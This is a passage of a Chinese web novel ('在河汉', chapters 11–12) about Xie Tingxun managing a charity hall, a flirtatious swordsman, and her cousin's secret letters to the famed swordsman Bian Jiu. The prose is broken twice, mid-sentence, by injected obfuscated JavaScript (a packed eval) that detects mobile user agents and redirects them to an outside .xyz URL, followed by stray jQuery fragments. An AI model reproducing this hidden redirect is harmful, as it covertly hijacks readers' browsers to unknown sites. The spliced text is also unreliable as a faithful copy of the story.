卞九问:“你很闲?”
矮瘦青年恨恨盯着卞九,身后几人纷纷卷起袖子,一言不发地往前走来。然而不等他们上前,卞九抬手握住剑柄,长剑只出鞘一寸。
雪亮的剑光纷飞如落梅。
眨眼间,几人藏在身上的凶器落了一地。
换做谁,都没反应过来。
卞九干脆收剑入鞘。
少年仍倚靠在石狮子上,回过头,视线越过谢家层层卫士,落在最高处的一截雪白衣袂上。他微微弯起风流缱绻的桃花眼,笑意明晃晃,说道:“好了,将他们暂且送给官府吧。”
卫士们彼此对视一眼,有些无语。
只有首领转身走上台阶,进入门内通传此事。
片刻后。
“抓起来。”
“送去官府,并将此事通传给家主。”
“多谢少侠出手相助。”
卞九没有说客气的话。
他思考了一会儿,忽然问道:“你觉得我的身手如何?”
卫士首领愣了一下,真诚道:“少侠剑气如虹,身形如鹄,可以一挡百,实在是出类拔萃,将来必定……”
少年摆摆手,眉间含笑。
他压低了嗓音,问道:“所以,那我能来你们这里,做短工吗?”
“……”
卫士首领忍不住不着痕迹地上下打量了少年一遍,无论怎么看,都实在是仪表堂堂,至于身手和脑子更是十分出挑,犯不着啊。
最终,首领问道:“少侠,你究竟是何意图?”
卞九说:“自荐啊。”
“少侠说笑了。”
眼前的少年自荐当短工,简直比刚刚那些生事的人还像是包藏祸心。但是很明显,眼前的人犯不着啊,于是首领试探道,“还是说,少侠有什么难处需要我……”
“你不信啊。”
少年有些苦恼。
但很快,他重新扬起笑容。
他的视线穿过人群,直直钉向门后露出的一小截衣角,随口说道:“你去问一问谢娘子的女使。是谢娘子看中了我,可惜我不能胜任幕僚,所以想要试一试能不能当短工。”
“哦,你可以顺带问一问,谢娘子是否满意我的剑术?”
“……”
11.在河汉
阿姮面无表情听完了卫士首领的转达。
转而看向坐在屋内的谢庭训。
这里尚未建造完毕,只粗粗有了个房子的轮廓,屋内更是横七竖八摆放着不少木材。女郎坐在木块搭建的桌案前,翻看账本,闻言才略抬了抬头。
“女郎,我觉得此人心术不正!”
“哪有如此死乞白赖的?”
阿姮愤愤不平。
谢庭训却若有所思,抬头说道:“可以,留下他吧。”
阿姮没反应过来,“啊?”
谢庭训收起账本,托腮说:“告诉他,剑术不错。”
“女郎!你又没看到!”
于是谢庭训问道:“那你看到了,你觉得如何?”
阿姮认真想了想,想要诋毁桓三郎几句,可是回想起少年漂亮的剑法功夫,实在没办法睁着眼睛说瞎话,只好咕哝道:“……又不是没有比他强的。”
谢庭训没有理会阿姮的气话。
她站起来,将善堂左右都逛了一圈,微微蹙眉。
像是有些忧心忡忡。
“怎么了?”阿姮很少看到谢庭训情绪外露,一般这种时候,就说明事情不是很好办,“难道那个桓三郎有什么特殊身份,女郎才不好拒绝他?”
谢庭训道:“不是。”
阿姮追问:“那是怎么了?”
少女仍是若有所思的神色,过了会儿才重新坐下。
谢庭训轻声说:“我在想,是谁在针对我。”
阿姮愣了一下,说道:“谁会……”
随即,阿姮的面色也凝重起来。
在江州待了这么久,阿姮也渐渐回过味来了。
京都谢家可谓是门阀之首,谢庭训更是颇负盛名,断然不应该因为退婚就被舍弃。
哪怕退婚的,是皇后母族的裴氏,在京都也可谓是首屈一指的世家。可毁约退婚的是裴家,理亏的也是裴家,最后名声毁尽的却是自家女郎!
“难道是裴氏的人?”
“他们也实在是欺人太甚!”
“在京都作威作福便罢了,手竟然还伸到了江州……”
女郎已经退避江州了,他们还想怎么样?
逼死一个孤零零的少女吗?
阿姮气得眼眶有些发红。
“桓三郎到底和桓家有关联,你交代下去,别让人冲撞了他。”谢庭训收了思考的神色,重新吩咐阿姮,自己也打开了账簿,“另外,让卫士把四周都盯仔细一些。”
阿姮领命,只好下去。
屋内便只剩下谢庭训一人。
她面前堆着厚厚的账簿,只得伏案不停计算。
还有各种事件的章程,也迫在眉睫。
不知过了多久,谢庭训疲惫地抬手揉了揉眉心,一片落叶打着旋儿落下来,她下意识伸手接住。微微抬眼,视线正对上坐在房梁上的少年,顿了顿。
他屈起一只腿,靠在立柱上。
手里拿着酒葫芦,正喝完一口酒,迎着她的目光笑了一下。
好不闲适自在。
谢庭训收回目光。
她握起笔,继续写。
然而少年的视线总是如影随形,令她有些不自在。
谢庭训在心中微微叹了口气。
“下来。”
少年没有动。
他又喝了一口酒,“那位很凶的女郎说,不许我离你十步内。”
视线扫过屋子四周,“这里没有十步外的位置。”
“……”
谢庭训眼睛轻眨了一下,端坐着说道:“那她有没有和你说过,外人不得擅自与我见面?”
少年面上露出茫然,只是摇摇头,却又笑着不说话。
“阿姮。”谢庭训唤了一声,促狭看了房梁上的少年一眼,面色仍旧是素来的清冷镇定,“房梁上似乎有声音,你进来看一看。”
阿姮正在外面代为传达谢庭训的话。
此时忙得焦头烂额。
听到谢庭训的话,连忙应了一声,匆匆唤人进来查看。
房梁上的少年飞掠而下,反手关上了屋门,抬手并指在唇前示意她安静。少年乌黑的瞳仁倒映着她的影子,轻轻一眨,有点讨好的意思。
谢庭训有些惊讶。
眼前张扬恣意的少年,无端有点乖。
令人不忍太过苛责他。
“我不打扰你。”
“别喊她。”
谢庭训抿了抿唇,觉得这少年实在有些奇怪……未免也太过自来熟了些。两人不过是一面之缘,他倒好像是黏上她似的。
他不会有什么别的图谋吧?
谢庭训决定审一审他。
“你……”
话未说完,对面的少年将手里的酒葫芦递给她。
他的视线直直落在她脸上。
“若是渴了,喝一口。”
“这是我在北地花重金买到的好酒,江南软绵清淡的酒水,都比不上。”
少年锐利的视线如有实质,落在她干涩的唇瓣上,稍纵即逝。然而谢庭训无端有些局促,她看着眼前这个自在随性的郎君,忽然生不起来气。
“我不善饮酒。”谢庭训说。
桓三郎像是没料想到这个结果,微怔。
他晃了晃酒葫芦,挂回腰间。
谢庭训问道:“你们江湖儿郎,都这么来无影去无踪……也不管旁人有没有关门吗?”
卞九摇头说:“当然不是。”
“明白了。”谢庭训后退两步,似笑非笑,“你是觉得我性子好说话,才如此无礼,连打声招呼都不,便直接闯入我的房间内。”
卞九睁大了眼睛。
他看着眼前的谢庭训,像是有些陌生。
好温柔的语调。
好刻薄的话语。
但很快,卞九便不以为意地轻笑了一下。
在屋外的脚步声快要走来推开门时,少年回眸看她一眼。若白鹤般轻跃而起,衣袂扫过窗棂,施展轻功掠出房间内。
“酒留下。”
少女的声音在身后响起。
卞九身形微顿,转身坐在了窗棂上,扭头看她。
她朝着他伸出手。
卞九接下腰间的酒葫芦,却又顿了顿,耳朵尖儿有些发红。他握着酒葫芦,轻咳了一声,看着对面干净得像是白玉雕成的女郎。
“有点脏。”
“是我用过的。”
对面的谢庭训歪了歪脑袋。
乌黑的发丝窝在她单薄的脖颈间,衬得她面如画成,格外干净。
她伸手接过来。
摇摇头道:“我不喝啊。”
少女笑了一下。
清浅而温柔,乌黑的眸底却是一闪而过的促狭。
卞九松开的手下意识又收紧。
对面的谢庭训毫无防备,被带得往前踉跄一下,趔趄着向前几步。卞九恰好仰起面,少女带着桂花甜香的发丝掠过他的侧脸,几乎贴上来。
卞九下意识屏住呼吸。
门被哐当一声推开,阿姮的声音高声响起,“你对我家女郎做
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823681|157840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么!”
尚未等卞九辩解,面前的少女骤然推了他一把。
“快走。”
她清冷的嗓音带着几分焦急懊恼。
卞九喉间尚未辨明白的话匆匆咽下,下坠的身体轻跃而起,遮盖住了方才一瞬间的狼狈,自在如飞鸟般消失在了窗外。
屋内的谢庭训回过身。
阿姮目瞪口呆。
“女郎,他为什么在这里?”阿姮连忙将门关上,上下检查了谢庭训一遍,这才松了一口气,“说是桓家的义子,说到底还是无名无姓,谁知道是什么三教九流,万不可没有防备。”
谢庭训瞧起来淡定自若。
她点点头,说道:“我知道,所以唤了你。”
“哦,那便好。”
“不过,女郎,你手上的这是什么?”
谢庭训心口仍在怦怦跳。
她将手里的酒葫芦放在桌上,打开来,闻了闻。
又递给阿姮闻一闻。
“是酒。”
谢庭训点点头,将酒葫芦递给阿姮,吩咐道:“听闻是北地的烈酒,你让人去找一找,买过来我们尝一尝,我还没喝过烈酒。”
阿姮奇怪地看了谢庭训一眼。
比起其余的女郎,谢庭训是少一些妙龄少女的俏皮小性儿的,对外物也没什么执着。
换言之,就是根本没什么明显的喜好。
她好像对什么,都是淡淡的。
“这有何难?”阿姮将酒葫芦收起来,视线扫过谢庭训的唇瓣,起身给她倒了一盏水,“何必要接手这棘手的活计,谁家女郎出门抛头露面干这些?不都是郎君们……”
谢庭训垂首慢慢喝水。
喝了半盏水,她抿一抿发干的唇瓣。
才抬起眼看阿姮。
“阿姮,你不是想回京都吗?”
阿姮愣了一下,高兴地点点头。
但觑着谢庭训的面色,她眼珠一转,脱口而出,“这样就能回京都了吗?”
谢庭训“嗯”了声。
“可是……”阿姮原本是非常兴高采烈的,然而看一眼疲惫的谢庭训,却又忍不住补充了一句,“可我现在觉得,江州也没有那么坏。至少,江州谢家的众人都对女郎很尊重,女郎也不像以前那么压抑……”
谢庭训道:“母亲会希望我回去的。”
阿姮骤然沉默下来。
风从窗外吹进来,屋内的账簿被吹得哗哗作响,反而衬得两人之间格外安静。
过了一会儿,阿姮点点头。
她坐在谢庭训的身侧,开始和她说方才探听到的消息。
那些盘桓在慈善堂外的人,果然有一些,是生面孔。
“这些生面孔的具体来路,还需要花时间调查下去。只是他们终日游荡在此,肯定有目标,说不准什么时候就会发难……”
“反正,总归多半是居心叵测。”
“而且,这些人是在这几天才出现在善堂外。”
“仿佛,也是初来江州。”
谢庭训没说话。
阿姮背后却有些发凉,这些人出现在江州的时间,和自家女郎出现在江州的时间能对上。她忍不住看了谢庭训一眼,明明已经不再当京都谢七娘了,还是不得清净吗?
恍然间,阿姮明白了谢庭训的忧虑。
若无法在江州谢氏站稳脚跟,那些人是不会放过自己女郎的。
所以,她必须掌事。
必须在江州当一个不可或缺的人。
而非依附家族的柔弱女郎。
12.在河汉
接连几日,谢庭训都日日前往慈善堂。
原本还不算熟练的事务,她逐渐便接手了过来。因为处理事情条理清晰,合理公平,各管事也渐渐信服了谢庭训。
上下一心,自然效率更快。
善堂各处都安稳下来。
谢庭训也稍稍得以松了一口气。
这日,崔氏留她在家歇息,又免了她的晨昏定省。
谢庭训劳累数日,不知不觉便睡过了。
她睡得惺忪,迷迷糊糊掀开眼帘,便对上一双亮得出奇的眼睛。谢庭训被吓得一个激灵,瞬间清醒了过来,不由缓缓吐出一口气。
“九妹妹,你怎么在这里?”
谢庭训下意识扫视四周。
屋内并无旁人,连阿姮都不知道去了哪里。
只有九娘坐在小杌子上,盯着她。
再一看窗外天色,仍是灰蒙蒙的,屋内甚至零星点着几只烛火。眼前的九娘衣裳头发都梳得有些潦草,只是格外精神,和往日请安时无精打采的模样截然相反。
“我……我有些想念七姊姊。”少女眼珠一转,露齿而笑,表情刻意装乖,“七姊姊这些日子都在外面忙碌,我许久都见不到,自然十分思念。”
谢庭训失笑,自然不信九娘的话。
一则二人没有这样的交情。
二则小姑娘眼里的别有目的藏也藏不住。
“原来如此。”谢庭训自己捞了只靠枕在身后,却只当不明白少女的来意,温柔地与她打着太极,“我也惦记着你。只是衣裙发髻,还是要打理整齐,才好出门。”
说着,谢庭训起身伸手,将九娘鬓边松散的碎发掖到耳后。
替她整了整发髻,又捋了捋没穿好的衣衫。
九娘原以为,谢庭训不过是客气几句。
毕竟这位七姊姊,看起来实在是一个神仙般清冷的人物。
谁知竟然当真如亲姊妹般,细心为她整理。
床榻内的少女仅穿一件单薄的中衣,乌黑如鸦羽的长发披散在肩头,越发衬得她身形羸弱,纤细窈窕。
拂过耳畔的手温热,袖口散发着淡淡的幽香。
朦胧的灯光照入窗内,洒在女郎面容上,越发美得动人心魄。
偏偏她毫无觉察,随手将青丝拨开,皓腕如雪。
“七姊姊……”
九娘不知道为什么,忽然之间有些自惭形秽,虽然她并不觉得自己有多么不堪入目。可眼前的少女,实在是太美好了,教人会忍不住反省自己。
她喜欢这样的女郎。
那卞九郎……应该也更喜欢七姊姊这样的女郎吧。
九娘有些说不出的失落。
“怎么了?”
“若是没睡够,在我这里睡个回笼觉便是。”
“这么愁眉苦脸。”
九娘的脸被对方捏了捏,下意识抬起眼,正对上谢庭训微微含笑的眸子。她顿时收敛了心神,觉得自己不该这样想,将脸往谢庭训面前蹭了蹭。
“整日在家里闷着,都不怎么动,自然睡不好。”
“哪里像是七姊姊,可以出去透气。”
谢庭训没反驳什么。
她打了个呵欠,揉揉太阳穴,仍有倦色。
但支着下巴,神情温和。
“家中花木茂盛,假山流水更是兼具古朴与精巧,外头哪有这样好的风景?若是嫌不走动,与几个姊妹一起去园子里赏赏花,我瞧着也不错。”
见谢庭训没有听懂自己的言外之意,九娘叹了口气,蔫头耷脑地说道:“可是,可是我想要出去呀。阿娘这几年格外不近人情,总不让我出去玩,尤其是最近……”
少女趴在谢庭训的床榻上,哀叹一声。
过了会儿,支棱起脑袋,满怀期待地看向谢庭训。
可惜,她这位长姐一如既往八风不动。
低垂着浓长纤密的眼睫,仿佛有些犯困,一语不发。
手却是温柔地拍拍她,好似安抚。
“七姊姊……”九娘拖长了语调,因为谢庭训的温柔多了几分胆量,装作是撒娇似的,“你下次出去,能不能将我也捎上?”
谢庭训的手顿了顿。
九娘一颗心提起来,张大了眼。
偏偏还装作一派淡定。
“好啊。”
听到这句话,九娘几乎是高兴得要跳起来了。
她连忙组织语言,想要继续提条件。
然而谢庭训撩开床帐,瞧着她,问道:“但你若是想要和我一起出去,须得和我说清楚,你要去哪里,又要见哪些人。”
不等九娘说话,谢庭训笑着说:“不许撒谎。”
“我……”
九娘扭扭捏捏,不肯回答。
谢庭训也不着急,换了个姿势,闭目养神。
眼见着谢庭训快要睡着了。
九娘心一狠,咬牙说道:“这段时间,我都在与卞九郎通信,我想要出去见一见他。”
“其实也不一定要见到他。”
“我只是觉得,呆在家里至多只能与他传书信……”
“若是出去,哪怕不特意去见,或许我不经意撞见的一个路人,恰好便是卞郎君呢?这样想一想,期待一下,都比终日锁在安静得笑一声都显得出格的家里有意思。”
一口气说完,九娘紧张看着谢庭训。
苍白美丽的少女幽幽睁开眼,没说话,却有些无可奈何似的。
九娘便知道,自己或许是做得不太对。
七姊姊从来不会像其他人一样,张口闭口便是规矩,甚至还能为她的任性破例。可九娘能感觉到,七姊姊本身就是那个最规矩端庄的人。
规矩不是用来约束她的。
而是她发自真心,认可践行这些规矩。
所以,若是七姊姊觉得不认可……
那么她多半就是错了。
“你从前不是说,只要看一眼卞九郎是怎么样的人,便心满意足了吗?”谢庭训语调一如既往地柔和,循循善诱,像是和她探讨问题一般,“可你又为什么会与他传信?”
九娘咬唇不语。
“传信之前,你是不是也在想,只是了解一下卞九郎所思所想而已?”
“你们隔得这样远,不过一道书信的联系而已?”
九娘看着谢庭训,忍不住说道:“我知道,我知道欲壑难平。可是我不会那样胡作妄为的,见一见他,和掩盖姓名传一传书信,这些都并不过分……”
谢庭训问:“你方才不肯直言,不就明知已经过分了吗?”
九娘低着头,不吭声了。
此时天光渐渐明亮起来。
谢庭训看着眼前的小女郎,本不想多说什么,可到底还是轻叹了一声。她语调更温柔了几分,牵着九娘的手,“还是说,他在书信中说了些什么?”
九娘脸颊有些绯红。
她轻轻别开脸,小声说:“别问这些。”
可神情已然出卖了她。
“妙音。”
“我方才便说,你若据实以告,我可以带你出去。”
“自然,我也不可能将此事泄露出去。”
九娘听到谢庭训这么说,便知道对方是认真的,谢庭训少有这么严厉的口吻。然而这件事到底是令人羞涩,九娘犹豫良久,才小声说来。
原本,花朝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823682|157840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
节游玩后便该直接回去。
但九娘捧着那支杏花,心神不宁,猜测卞九是否也留意到了自己。
于是,她借口掉了佩玉,让女使阿豆留下在杏花林中找寻。实则九娘悄悄在丝帕上写了字,表达了对卞九的仰慕之情,让阿豆务必送到卞九手中。
说来也巧,阿豆当真撞见了那白衣重剑的少年郎。
这丝帕,自然也被送了出去。
九娘如此大胆,不过是想要让自己濡慕多年的少侠,得知自己对他的钦佩之情。做完这件事,她便打算收敛心神,免得惹得母亲生气。
可不知道对方怎么做的。
过了几日,一封书信与她送出去的丝帕,辗转送到了她手中。
对方竟然回了信,还很喜欢她。
九娘高兴得不得了。
于是,她便开始悄悄和卞九传信。虽然其中颇费周折,但是两人信中的交谈,却十分契合,尤其是卞九提起游离在外行侠仗义的事情,九娘更是濡慕不已。
卞九告诉她,即便是在江州城内。
也并非太平无事。
他时而也会仗剑过长街,路遇不平之事,便拔刀相助。
对方亲笔写下一件一件事情,两人之间遥远的距离,便好似被拉近了一些。九娘当然知道不能与对方私下见面,可她却很想出去走走,哪怕不见卞九。
只是走在卞九或许经过的江州街道。
她也会觉得有些窃喜。
“我知道我有些出格。”
“但是七姊姊,我觉得卞九郎待我很特殊,他在信中说也很喜欢我……”
“那么多人喜欢他,可他偏偏只对我不一般。”
谢庭训听着九娘的话,忍不住蹙眉。
她抬眼看着屋顶陈旧的承沉,四周每一件摆设,都带着岁月的痕迹。江州谢氏显赫太久了,家规森严,然而时至今日,众人已经渐渐松懈下来,不再想要被这些陈规旧俗所约束。
“我可以带你出去。”
“但是,我不会让你去见卞九。”
“你可答应听我安排?”
九娘几乎没有考虑,立刻点头道:“好!只要七姊姊愿意带我出去,我一定都挺七姊姊的,绝对不像上次乱发脾气。”
谢庭训点点头,柔声道:“回去再睡一会儿吧。”
“我不困。”九娘表情有些窘迫,确实是精神奕奕的模样,小声追问,“那我可以去哪里?只能在慈善堂旁边吗?慈善堂旁边,会不会有侠客……”
见天色大亮,谢庭训披衣起身。
坐在书案前,打开了看了一大半的书册。
“我不知道。”
“但慈善堂外,有许多贫弱无依的百姓。”
“只是眼下慈善堂尚未准备完毕,无法帮他们,他们却还是终日游荡在外,想必是希望有谢氏的子弟见之恻隐,能够早早给他们帮助。”
九娘愣了一下,明白过来谢庭训的意思。
她陡然觉得有些不好意思。
“我知道了。”九娘振奋精神,认真说,“我会将七姊姊送我的短剑带上,还有我积攒的月钱,提前都换成散钱带过去……”
如此,谢庭训才微微一笑。
她欣慰点点头,继续看书,心中却有了个主意。
那位桓三郎既然也是江湖游侠,那必然听说过闻名天下的剑客卞九,到时候带着九娘去向他稍做打听,应当能更了解卞九。
……如此风流之人。
换做是谁,也能说出不少风月事。
何况桓三郎本就是江湖人。
想必更是了解。
到时候,让眼前的少女醒醒神罢了。